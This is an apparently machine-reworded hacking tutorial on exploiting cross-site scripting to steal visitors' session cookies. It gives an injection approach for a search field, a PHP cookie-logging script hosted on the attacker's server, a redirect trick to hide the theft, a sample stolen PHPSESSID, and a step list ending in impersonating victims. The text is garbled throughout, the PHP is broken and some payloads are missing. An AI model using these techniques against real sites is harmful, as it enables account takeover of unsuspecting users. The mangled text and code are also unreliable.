In this tutorial, we are going to exploit the Cross Site Scripting (XSS) vulnerability for Cookie Stealing! I suppose you already know a little bit of the idea behind XSS, so we’ll get proper to the code.
Let’s say a web page has a search function that makes use of this code:
<tr><td>Name</td><td><input sort="text" title="advisor_name" worth="<script>alert("test")</script>"></td></tr>
Note the quotes round our script. So what will we do? We want to finish the worth area earlier than our script can really be executed. So we tweak our test injection a bit:
This ought to shut the quotes finish the input part in order that our script could be rendered as part of the source as a substitute of plain text. And now after we hit enter we get a pleasant pop-up box saying “test”, exhibiting us our script was executed.
Keep in thoughts that you simply’re not really penning this data to the server (except you’re injecting it with a script that really modifies the page on the server’s finish additionally, like a guestbook or remark script), simply altering how the dynamic page is performing in your finish. If you need another person to see what you see whenever you use this injection, you want to ship them the link with that injection already within the page.
Of course, in the event you don’t need the recipient to see the injection, you’ll want to hex the question. You can try this right here.
Hexing the question of this url provides us
Using XSS For Cookie Stealing
OK, so now you realize the page is vulnerable to XSS injection. Great. Now what? You need to make it do one thing helpful, like steal cookies. Cookie stealing is whenever you insert a script into the page so that everybody that views the modified page inadvertently sends you their ******* cookie. By modifying your ******* cookie, you’ll be able to impersonate any user who considered the modified page. So how do you employ XSS to steal cookies?
The simplest way is to use a three-step process consisting of the injected script, the cookie recorder, and the log file.
First you’ll want to get an account on a server and create two files, log.txt and whateveryouwant.php. You can depart log.txt empty. This is the file your cookie stealer will write to. Now paste this php code into your cookie stealer script (whateveryouwant.php):
<?php function GetIP() if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); function logData() PORT: $rem_port logData(); ?>
This script will document the cookies of each user that views it.
Now we want to get the vulnerable page to entry this script. We can try this by modifying our earlier injection:
yoursite.com is the server you’re internet hosting your cookie stealer and log file on, and whateversite.com is the vulnerable page you’re exploiting. The above code redirects the viewer to your script, which records their cookie to your log file. It then redirects the viewer again to the unmodified search page in order that they don’t know something occurred. Note that this injection will solely work correctly in the event you aren’t really modifying the page source on the server’s finish. Otherwise the unmodified page will really be the modified page and also you’ll find yourself in an countless loop. While it is a working answer, we might remove this potential problem when using source-modifying injections by having the user click a link that redirects them to our cookie stealer:
logData(); echo '<b>Page Under Construction</b>' ?>
Now whenever you open log.txt, it’s best to see one thing like this:
IP: 126.96.36.199 | PORT: 56840 | HOST: | Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:188.8.131.52) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 | METHOD: | REF: http://www.ifa.org.nz/search.php | DATE: Tuesday 21st 2017f April 2017 05:04:07 PM | COOKIE: cookie=PHPSESSID=889c6594db2541db1666cefca7537373
You will almost definitely see many different fields in addition to PHPSESSID, however this one is sweet sufficient for this instance. Now keep in mind how to edit cookies like I confirmed you earlier? Open up firebug and add/modify all of your cookie’s fields to match the data from the cookie in your log file and refresh the page. The server thinks you’re the user you stole the cookie from. This method you’ll be able to log into accounts and lots of different issues with out even needing to know the passwords or usernames.
Winding Up Altogether!
1. Test the page to ensure it’s vulnerable to XSS injections.
2. Once you realize it’s vulnerable, add the cookie stealer php file and log file to your server.
3. Insert the injection into the page by way of the url or text box.
4. Grab the link of that page together with your exploited search question (if injection will not be saved on the server’s copy of the page).
5. Get somebody to use that link if needed.
6. Check your log file for his or her cookie.
7. Modify your personal cookie to match the captured one and refresh the page